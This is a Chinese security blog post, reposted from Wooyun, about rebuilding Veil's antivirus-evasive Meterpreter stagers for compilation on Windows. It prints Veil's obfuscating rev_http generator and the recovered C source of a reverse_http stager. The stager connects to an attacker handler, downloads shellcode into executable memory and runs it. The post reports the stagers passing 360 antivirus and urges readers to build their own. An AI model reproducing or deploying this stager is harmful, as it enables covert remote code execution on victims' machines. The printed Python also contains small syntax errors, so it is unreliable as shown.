作者:RedFree

本文转自乌云

Veil对Payload的免杀已经做的很好了,最新的Veil有39个可用的Payload。但是有时候需要使用Windows来完成所有的渗透测试工作,Linux和Windows切换来切换去很不方便、让我的渣本安装个虚拟机更是浪费资源。因此,在Windows下生成免杀Payload已成为当务之急。

一开始我选择了在Kali下使用Veil生成Python版的Payload然后再到windows下使用Py2exe或是pyinstaller来编译打包生成可执行文件。但是这种方法让我感到无比蛋疼…… 第一:Py2exe不支持64位的python(我的系统中已经安装了python 2.7 X64以及各种python的开发工具,卸载了再安装、配置是一件令人头痛的事);第二:pyinstaller虽然支持使用64位的python打包,但是打包出来的程序也是64位的(这让32位的系统情何以堪);第三:编译打包后的Payload奇大无比(大约3-7MB) 
, 
打包时可以选择生成一个文件(所有运行所须的库及dll都打包到exe中),也可以选择生成多个文件(Payload和所需的库分开。Payload大约1M多 
 
,剩下的十几个文件又让人感到头痛,难道让我一个一个上传不成)。最后虽然用这种方法获得了免杀的Payload,但是还是不得不放弃这种方法。

既然无捷径可走了,那还是静下心来去翻一翻Veil吧。下载Veil,在Veil根目录下的\modules\payloads文件件中看到了生成各种免杀Payload的.py文件。共7类: 
auxiliary 

cs 
native 
powershell 
python 
ruby

先从比较熟悉的“c”看起吧,在\modules\payloads\c\meterpreter\下有4个用来生成c代码的py文件。 
rev_http.py 
rev_http_service.py 
rev_tcp.py 
rev_tcp_service.py

打开rev_http.py查看: 
"""

Obfuscated, pure C windows/meterpreter/reverse_http.

Implements various randomized string processing functions in an 
attempt to obfuscate the call tree. 
Also compatible with Cobalt-Strike's Beacon.

Original reverse_tcp inspiration from https://github.com/rsmudge/metasploit-loader

Module built by @harmj0y

"""

import random 
from modules.common import helpers

class Payload: 
     
    def __init__(self): 
        # required options 
        self.shortname = "meter_rev_http" 
        self.description = "pure windows/meterpreter/reverse_http stager, no shellcode" 
        self.language = "c" 
        self.extension = "c" 
        self.rating = "Excellent" 
         
        # optional 
        # options we require user ineraction for- format is {Option : [Value, Description]]} 
        self.required_options = {"LHOST" : ["", "IP of the metasploit handler"], 
                                "LPORT" : ["8080", "Port of the metasploit handler"], 
                                "compile_to_exe" : ["Y", "Compile to an executable"]} 
         
    def generate(self): 
         
        sumvalue_name = helpers.randomString() 
        checksum_name = helpers.randomString() 
        winsock_init_name = helpers.randomString() 
        punt_name = helpers.randomString() 
        wsconnect_name = helpers.randomString() 
         
        # the real includes needed 
        includes = [ "#include <stdio.h>" , "#include <stdlib.h>", "#include <windows.h>", "#include <string.h>", "#include <time.h>"] 
         
        # max length string for obfuscation 
        global_max_string_length = 10000 
        max_string_length = random.randint(100,global_max_string_length) 
        max_num_strings = 10000 
         
        # TODO: add in more string processing functions 
        randName1 = helpers.randomString() # reverse() 
        randName2 = helpers.randomString() # doubles characters 
        stringModFunctions = [  (randName1, "char* %s(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i<length;i++) { t2[(length-1)-i]=t[i]; } t2[length] = '\\0'; return t2; }" %(randName1)), 
                                (randName2, "char* %s(char* s){ char *result =  malloc(strlen(s)*2+1); int i; for (i=0; i<strlen(s)*2+1; i++){ result[i] = s[i/2]; result[i+1]=s[i/2];} result[i] = '\\0'; return result; }" %(randName2)) 
                            ] 
                             
        random.shuffle(stringModFunctions) 
         
        # obfuscation "logical nop" string generation functions 
        randString1 = helpers.randomString(50) 
        randName1 = helpers.randomString() 
        randVar1 = helpers.randomString() 
        randName2 = helpers.randomString() 
        randVar2 = helpers.randomString() 
        randVar3 = helpers.randomString() 
        randName3 = helpers.randomString() 
        randVar4 = helpers.randomString() 
        randVar5 = helpers.randomString()

stringGenFunctions = [  (randName1, "char* %s(){ char *%s = %s(\"%s\"); return strstr( %s, \"%s\" );}" %(randName1, randVar1, stringModFunctions[0][0], randString1, randVar1, randString1[len(randString1)/2])), 
                                (randName2, "char* %s(){ char %s[%s], %s[%s/2]; strcpy(%s,\"%s\"); strcpy(%s,\"%s\"); return %s(strcat( %s, %s)); }" % (randName2, randVar2, max_string_length, randVar3, max_string_length, randVar2, helpers.randomString(50), randVar3, helpers.randomString(50), stringModFunctions[1][0], randVar2, randVar3)), 
                                (randName3, "char* %s() { char %s[%s] = \"%s\"; char *%s = strupr(%s); return strlwr(%s); }" % (randName3, randVar4, max_string_length, helpers.randomString(50), randVar5, randVar4, randVar5)) 
                             ] 
        random.shuffle(stringGenFunctions) 
         
        # obfuscation - add in our fake includes 
        fake_includes = ["#include <sys/timeb.h>", "#include <time.h>", "#include <math.h>", "#include <signal.h>", "#include <stdarg.h>", 
                        "#include <limits.h>", "#include <assert.h>"] 
        t = random.randint(1,7) 
        for x in xrange(1, random.randint(1,7)): 
            includes.append(fake_includes[x]) 
         
        # shuffle up real/fake includes 
        random.shuffle(includes) 
         
        code = "#define _WIN32_WINNT 0x0500\n" 
        code += "#include <winsock2.h>\n" 
        code += "\n".join(includes) + "\n"

#string mod functions 
        code += stringModFunctions[0][1] + "\n" 
        code += stringModFunctions[1][1] + "\n"

# build the sumValue function 
        string_arg_name = helpers.randomString() 
        retval_name = helpers.randomString() 
        code += "int %s(char %s[]) {" % (sumvalue_name, string_arg_name) 
        code += "int %s=0; int i;" %(retval_name) 
        code += "for (i=0; i<strlen(%s);++i) %s += %s[i];" %(string_arg_name, retval_name, string_arg_name) 
        code += "return (%s %% 256);}\n" %(retval_name) 
         
        # build the winsock_init function 
        wVersionRequested_name = helpers.randomString() 
        wsaData_name = helpers.randomString() 
        code += "void %s() {" % (winsock_init_name) 
        code += "WORD %s = MAKEWORD(%s, %s); WSADATA %s;" % (wVersionRequested_name, helpers.obfuscateNum(2,4), helpers.obfuscateNum(2,4), wsaData_name) 
        code += "if (WSAStartup(%s, &%s) < 0) { WSACleanup(); exit(1);}}\n" %(wVersionRequested_name,wsaData_name) 
         
        # first logical nop string function 
        code += stringGenFunctions[0][1] + "\n" 
         
        # build punt function 
        my_socket_name = helpers.randomString() 
        code += "void %s(SOCKET %s) {" %(punt_name, my_socket_name) 
        code += "closesocket(%s);" %(my_socket_name) 
        code += "WSACleanup();" 
        code += "exit(1);}\n" 
         
        # second logical nop string function 
        code += stringGenFunctions[1][1] + "\n"

# build the reverse_http uri checksum function 
        randchars = ''.join(random.sample("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",62)) 
        characters_name = helpers.randomString() 
        string_var_name = helpers.randomString() 
        code += "char* %s(){" %(checksum_name) 
        code += "srand (time(NULL));int i;" 
        code += "char %s[] = \"%s\";" %(characters_name, randchars) 
        code += "char* %s = malloc(5); %s[4] = 0;" %(string_var_name, string_var_name) 
        code += "while (1<2){for(i=0;i<3;++i){%s[i] = %s[rand() %% (sizeof(%s)-1)];}" %(string_var_name, characters_name, characters_name) 
        code += "for(i=0;i<sizeof(%s);i++){ %s[3] = %s[i];" % (characters_name, string_var_name, characters_name) 
        code += "if (%s(%s) == 92) return %s; } } return 0;}\n" % (sumvalue_name,string_var_name,string_var_name)

# third logical nop string function 
        code += stringGenFunctions[2][1] + "\n" 
         
        # build wsconnect function 
        target_name = helpers.randomString() 
        sock_name = helpers.randomString() 
        my_socket_name = helpers.randomString() 
        code += "SOCKET %s() { struct hostent * %s; struct sockaddr_in %s; SOCKET %s;" % (wsconnect_name, target_name, sock_name, my_socket_name) 
        code += "%s = socket(AF_INET, SOCK_STREAM, 0);" %(my_socket_name) 
        code += "if (%s == INVALID_SOCKET) %s(%s);" %(my_socket_name, punt_name, my_socket_name); 
        code += "%s = gethostbyname(\"%s\");" %(target_name, self.required_options["LHOST"][0]
        code += "if (%s == NULL) %s(%s);" %(target_name, punt_name, my_socket_name) 
        code += "memcpy(&%s.sin_addr.s_addr, %s->h_addr, %s->h_length);" %(sock_name, target_name, target_name) 
        code += "%s.sin_family = AF_INET;" %(sock_name) 
        code += "%s.sin_port = htons(%s);" %(sock_name, helpers.obfuscateNum(int(self.required_options["LPORT"][0]),32)) 
        code += "if ( connect(%s, (struct sockaddr *)&%s, sizeof(%s)) ) %s(%s);" %(my_socket_name, sock_name, sock_name, punt_name, my_socket_name) 
        code += "return %s;}\n" %(my_socket_name) 
         
        # build main() code 
        size_name = helpers.randomString() 
        buffer_name = helpers.randomString() 
        function_name = helpers.randomString() 
        my_socket_name = helpers.randomString() 
        count_name = helpers.randomString() 
        request_buf_name = helpers.randomString() 
        buf_counter_name = helpers.randomString() 
        bytes_read_name = helpers.randomString() 
         
        # obfuscation stuff 
        char_array_name_1 = helpers.randomString() 
        number_of_strings_1 = random.randint(1,max_num_strings) 
        char_array_name_2 = helpers.randomString() 
        number_of_strings_2 = random.randint(1,max_num_strings) 
        char_array_name_3 = helpers.randomString() 
        number_of_strings_3 = random.randint(1,max_num_strings)

# main method code 
        code += "int main(int argc, char * argv[]) {" 
        code += "char * %s; int i;" %(buffer_name)

# obfuscation 
        code += "char* %s[%s];" % (char_array_name_1, number_of_strings_1)

# malloc our first string obfuscation array 
        code += "for (i = 0;  i < %s;  ++i) %s[i] = malloc (%s);" %(number_of_strings_1, char_array_name_1, random.randint(max_string_length,global_max_string_length)) 
         
        # call the winsock init function 
        code += "%s();" %(winsock_init_name)

# obfuscation 
        code += "char* %s[%s];" % (char_array_name_2, number_of_strings_2)

# create our socket 
        code += "SOCKET %s = %s();" %(my_socket_name,wsconnect_name) 
         
        # malloc our second string obfuscation array 
        code += "for (i = 0;  i < %s;  ++i) %s[i] = malloc (%s);" %(number_of_strings_2, char_array_name_2, random.randint(max_string_length,global_max_string_length)) 
         
        # build and send the HTTP request to the handler 
        code += "char %s[200];" %(request_buf_name) 
        code += "sprintf(%s, \"GET /%%s HTTP/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: %s:%s\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.1; Windows NT\\r\\n\\r\\n\", %s());" %(request_buf_name, self.required_options["LHOST"][0]self.required_options["LPORT"][0], checksum_name) 
        code += "send(%s,%s, strlen( %s ),0);" %(my_socket_name, request_buf_name, request_buf_name) 
        code += "Sleep(300);"

# TODO: obfuscate/randomize the size of the page allocated 
        code += "%s = VirtualAlloc(0, 1000000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);" %(buffer_name) 
        code += "char* %s[%s];" % (char_array_name_3, number_of_strings_3) 
         
        # first string obfuscation method 
        code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_1, char_array_name_1, stringGenFunctions[0][0]) 
         
        # read the full server response into the buffer 
        code += "char * %s = %s;" % (buf_counter_name,buffer_name) 
        code += "int %s; do {" % (bytes_read_name) 
        code += "%s = recv(%s, %s, 1024, 0);" % (bytes_read_name, my_socket_name, buf_counter_name) 
        code += "%s += %s; }" % (buf_counter_name,bytes_read_name) 
        code += "while ( %s > 0 );" % (bytes_read_name)

# malloc our third string obfuscation array 
        code += "for (i = 0;  i < %s;  ++i) %s[i] = malloc (%s);" %(number_of_strings_3, char_array_name_3, random.randint(max_string_length,global_max_string_length)) 
         
        # second string obfuscation method 
        code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_2, char_array_name_2, stringGenFunctions[1][0]) 
         
        # real code 
        code += "closesocket(%s); WSACleanup();" %(my_socket_name) 
        code += "((void (*)())strstr(%s, \"\\r\\n\\r\\n\") + 4)();" %(buffer_name)

# third string obfuscation method (never called) 
        code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_3, char_array_name_3, stringGenFunctions[2][0])         
        code += "return 0;}\n"

return code
可以看到generate()最终返回了混淆后的c代码,在生成的过程中LHOST和LPORT(默认8080)由用户定义(上面代码加粗的部分)。 
c代码中几乎所有的变量都使用helpers.randomString()来随机生成,代码中的整型数字则使用helpers.obfuscateNum()来进行混淆(例如:5会写成2*2+1或是5*1+0)。 
通过还原变量名称、整理代码,最终我得到了c_rev_http的源码。 
 
整理后: 
#define _WIN32_WINNT 0x0500 
#include <winsock2.h> 
#include <time.h> 
#include <time.h> 
#include <stdio.h> 
#include <windows.h> 
#include <string.h> 
#include <stdlib.h> 
char* Name2(char* s) 

  char *result =  malloc(strlen(s)*2+1); 
  int i; 
  for (i=0; i<strlen(s)*2+1; i++) 
  { 
    result[i] = s[i/2]; 
    result[i+1]=s[i/2]; 
  } 
  result[i] = '\0'; 
  return result; 
}

char* Name1(const char *t) 

  int length= strlen(t); 
  int i; 
  char* t2 = (char*)malloc((length+1) * sizeof(char)); 
  for(i=0;i<length;i++) 
  { 
    t2[(length-1)-i]=t[i]; 
  } 
  t2[length] = '\0'; 
  return t2; 
}

int sumvalue(char string_arg[]) 

  int retval=0; 
  int i; 
  for (i=0; i<strlen(string_arg);++i) 
    retval += string_arg[i]; 
  return (retval % 256); 
}

void winsock_init() 

  WORD wVersionRequested = MAKEWORD((0*4+2), (0*4+2)); 
  WSADATA wsaData; 
  if (WSAStartup(wVersionRequested, &wsaData) < 0) 
  { 
    WSACleanup(); 
    exit(1); 
  } 
}

char* Name1() 

  char *Var1 = Name2("String1"); 
  return strstr( Var1, "i" ); 
}

void punt(SOCKET my_socket) 

  closesocket(my_socket); 
  WSACleanup(); 
  exit(1); 
}

char* Name2() 

  char Var2[9509], Var3[9509/2]; 
  strcpy(Var2,"kaJYJXmReftagATDFOufqYAGQRnBQtXMmXKQmkCvOzNrkKTARk"); 
  strcpy(Var3,"CmSLJRpqtBItijCukAADNDkwhLdUHHEzzjCNwrFPHinTjiWhBm"); 
  return Name1(strcat( Var2, Var3)); 
}

char* checksum() 

  srand (time(NULL)); 
  int i; 
  char characters[] = "S3bwPoskmAy2zCBLxI089eGNEv6FMYZc74QnrljgUtiTahuJKfXqOpRDW1VdH5"; 
  char* string_var = malloc(5); 
  string_var[4] = 0; 
  while (1<2) 
  { 
    for(i=0;i<3;++i) 
    { 
      string_var[i] = characters[rand() % (sizeof(characters)-1)]; 
    } 
    for(i=0;i<sizeof(characters);i++) 
    { 
      string_var[3] = characters[i]; 
      if (sumvalue(string_var) == 92) return string_var; 
    } 
  } 
  return 0;


char* Name3() 

  char Var4[9509] = "ZcFFymUJbCDPZbeUvuOMXuZwmNpZEpMwpnKvyfEqXUyfHJVmxp"; 
  char *Var5 = strupr(Var4); 
  return strlwr(Var5); 
}

SOCKET wsconnect() 

  struct hostent * target; 
  struct sockaddr_in sock; 
  SOCKET my_socket; 
  my_socket = socket(AF_INET, SOCK_STREAM, 0); 
  if (my_socket == INVALID_SOCKET) 
    punt(my_socket); 
  target = gethostbyname("192.168.199.124");//rev_http IP 
  if (target == NULL) 
    punt(my_socket); 
  memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length); 
  sock.sin_family = AF_INET; 
  sock.sin_port = htons(9527);//rev_http Port 
  if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) ) 
    punt(my_socket); 
  return my_socket; 
}

int main(int argc, char * argv[]) 

  char * buffer; 
  int i; 
  char* char_array1[8776]; 
  for (i = 0;  i < 8776;  ++i) 
    char_array1[i] = malloc (9719); 
  winsock_init(); 
  char* char_array2[118]; 
  SOCKET my_socket = wsconnect(); 
  for (i = 0;  i < 118;  ++i) 
    char_array2[i] = malloc (9721); 
  char request_buf[200]; 
  sprintf(request_buf, "GET /%s HTTP/1.1\r\nAccept-Encoding: identity\r\nHost: 192.168.199.124:9527\r\nConnection: close\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.1; Windows NT\r\n\r\n", checksum()); 
  send(my_socket,request_buf, strlen( request_buf ),0); 
  Sleep(300); 
  buffer = VirtualAlloc(0, 1000000, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 
  char* char_array3[8279]; 
  for (i=0; i<8776; ++i) 
  { 
    strcpy(char_array1[i], Name1()); 
  } 
  char * buf_counter = buffer; 
  int bytes_read; 
  do 
  { 
    bytes_read = recv(my_socket, buf_counter, 1024, 0); 
    buf_counter += bytes_read; 
  } 
  while ( bytes_read > 0 ); 
  for (i = 0;  i < 8279;  ++i) 
    char_array3[i] = malloc (9549); 
  for (i=0; i<118; ++i) 
  { 
    strcpy(char_array2[i], Name2()); 
  } 
  closesocket(my_socket); 
  WSACleanup(); 
  ((void (*)())strstr(buffer, "\r\n\r\n") + 4)(); 
  for (i=0; i<8279; ++i) 
  { 
    strcpy(char_array3[i], Name3()); 
  } 
  return 0; 
}

    因上面的代码是使用GNU/GCC来编译的,所以在windows下直接使用vc6编译会报一大堆错误。没办法,拿起大学时代那本《C语言程序设计与应用教程》回顾了半天,修改代码,最终通过编译。 
 
    编译后体积185kb(可加壳缩小体积),虽然比metasploit生成的要大,但已经满足要求。 
    使用同样的方法,依次还原了c_rev_http_service、c_rev_tcp、c_rev_tcp_service、cs_rev_http、cs_rev_https、cs_rev_tcp的源码(powershell和ruby的还没有看)。 
    编译生成对应的payload比较一下体积并测试免杀和连接效果: 
    体积对比: 
 
可见C#代码编译后的Payload更小,竟然只有5kb…… cs_rev_tcp使用了三个不同版本的.NET csc编译。 
    免杀效果:(360安全卫士最新木马库查杀) 
 
 
    连接测试: 
c_rev_tcp 
 
c_rev_http 
 
cs_rev_tcp 
 
cs_rev_http 
 
cs_rev_https 
 
                           想在windows上获得msf免杀payload的同学赶快行动起来吧!

转载于:https://www.cnblogs.com/dongchi/p/5093476.html

迁移Veil:手工打造Windows下编译的免杀Payload相关推荐

  1. Kail Linux渗透测试教程之免杀Payload生成工具Veil

    Kail Linux渗透测试教程之免杀Payload生成工具Veil 免杀Payload生成工具--Veil Kail Linux渗透测试教程之免杀Payload生成工具Veil,Veil是一款利用M ...

  2. 记录 Windows 下编译一个开源 SM9 签名验签 C 程序的过程

    注:本文不讨论算法具体实现细节,只介绍如何编译一个现有的程序实现. 在商用密码检测中心( 链接:http://www.scctc.org.cn/index.aspx )的网站上,"下载中心& ...

  3. 实战Windows下编译Opencc 1.0.5

    Opencc是中文简繁转换开源项目,支持词汇级别的转换.异体字转换和地区习惯用词转换(中国大陆.台湾.香港). 特点 严格区分「一简对多繁」和「一简对多异」. 完全兼容异体字,可以实现动态替换. 严格 ...

  4. Windows下编译Chrome V8

    主要还是参考google的官方文档: How to Download and Build V8 Building on Windows 同时也参考了一些其它的中文博客: 脚本引擎小pk:SpiderM ...

  5. Windows下编译 Hadoop

    Windows下编译 Hadoop-2.9.2 系统环境 系统: Windows 10 10.0_x64 maven: Apache Maven 3.6.0 jdk: jdk_1.8.0_201 Pr ...

  6. Windows下编译tensorflow-gpu教程

    这两个也要看: https://zhuanlan.zhihu.com/p/29029860 https://zhuanlan.zhihu.com/p/34942873 Windows下编译tensor ...

  7. Windows下编译TensorFlow1.3 C++ library及创建一个简单的TensorFlow C++程序

    参考:https://www.cnblogs.com/jliangqiu2016/p/7642471.html Windows下编译TensorFlow1.3 C++ library及创建一个简单的T ...

  8. windows下编译支持https的curl

    先编译好openssl,过程详见:<windows下编译openssl> 编译好zlib,过程详见<windows下编译zlib> 1. 下载curl 官网:https://c ...

  9. 在Windows下编译FFmpeg详细说明

    在Windows下编译FFmpeg详细说明 MinGW:一个可自由使用和自由发布的Windows特定头文件和使用GNC工具集导入库的集合,允许你生成本地的Windows程序而不需要第三方C运行时 Mi ...

最新文章

  1. 博士后工作站来了!智源研究院获得正式授牌
  2. HelloX项目github协同开发指南
  3. unicode 版本 delphi (如XE2)的 TBytes 转换为 AnsiString
  4. Sci-Hub和 Alexandra 的基本信息
  5. OVS vxlan 底层结构分析 - 每天5分钟玩转 OpenStack(148)
  6. 你需要的git命令大全来了
  7. react学习(38)----react是什么
  8. mysql创建表格1warning_MySQL:创建、修改和删除表
  9. mybatis的缓存机制是怎么样的?
  10. Java知识点汇总1
  11. 在线考试 ajax,关于在线考试使用ajax一问?
  12. storm1.x介绍
  13. python实现语义分割_遥感图像语义分割常用精度指标及其python实现(支持多类)
  14. 风车IM即时通讯聊天系统源码
  15. 计算机软件故障排除ppt,常见故障分析.ppt
  16. Android 宽高比控件
  17. 抖音网上如何赚钱变现,有哪些具体的方法
  18. SQLSERVER dbo 解释
  19. c语言编程基础 王森,《C语言编程基础第2版》王森版 习题答案
  20. 仿微软Video Indexer——视频断点播放与智能解析时间线的前端可视化实现

热门文章

  1. 【COPOD】Suppressing Poisoning Attacks on Federated Learning for Medical Imaging
  2. Java实现 LeetCode 417 太平洋大西洋水流问题
  3. 通过读取csv/xml数据并且结合使用allure展示测试报告,验证开发中的add()和reduct()操作(在@allure.story分别实现相加减)
  4. 小程序接入微信视频号配置指南
  5. 微信公众号自定义菜单CLICK返回的是大写
  6. python英文参考文献格式_英文参考文献标准格式
  7. Android基础知识点学习总结
  8. Ndis网卡驱动是如何操控硬件的
  9. UVA1665 Islands (并查集)
  10. P4043 [AHOI2014/JSOI2014]支线剧情(有源汇上下界最小费用可行流)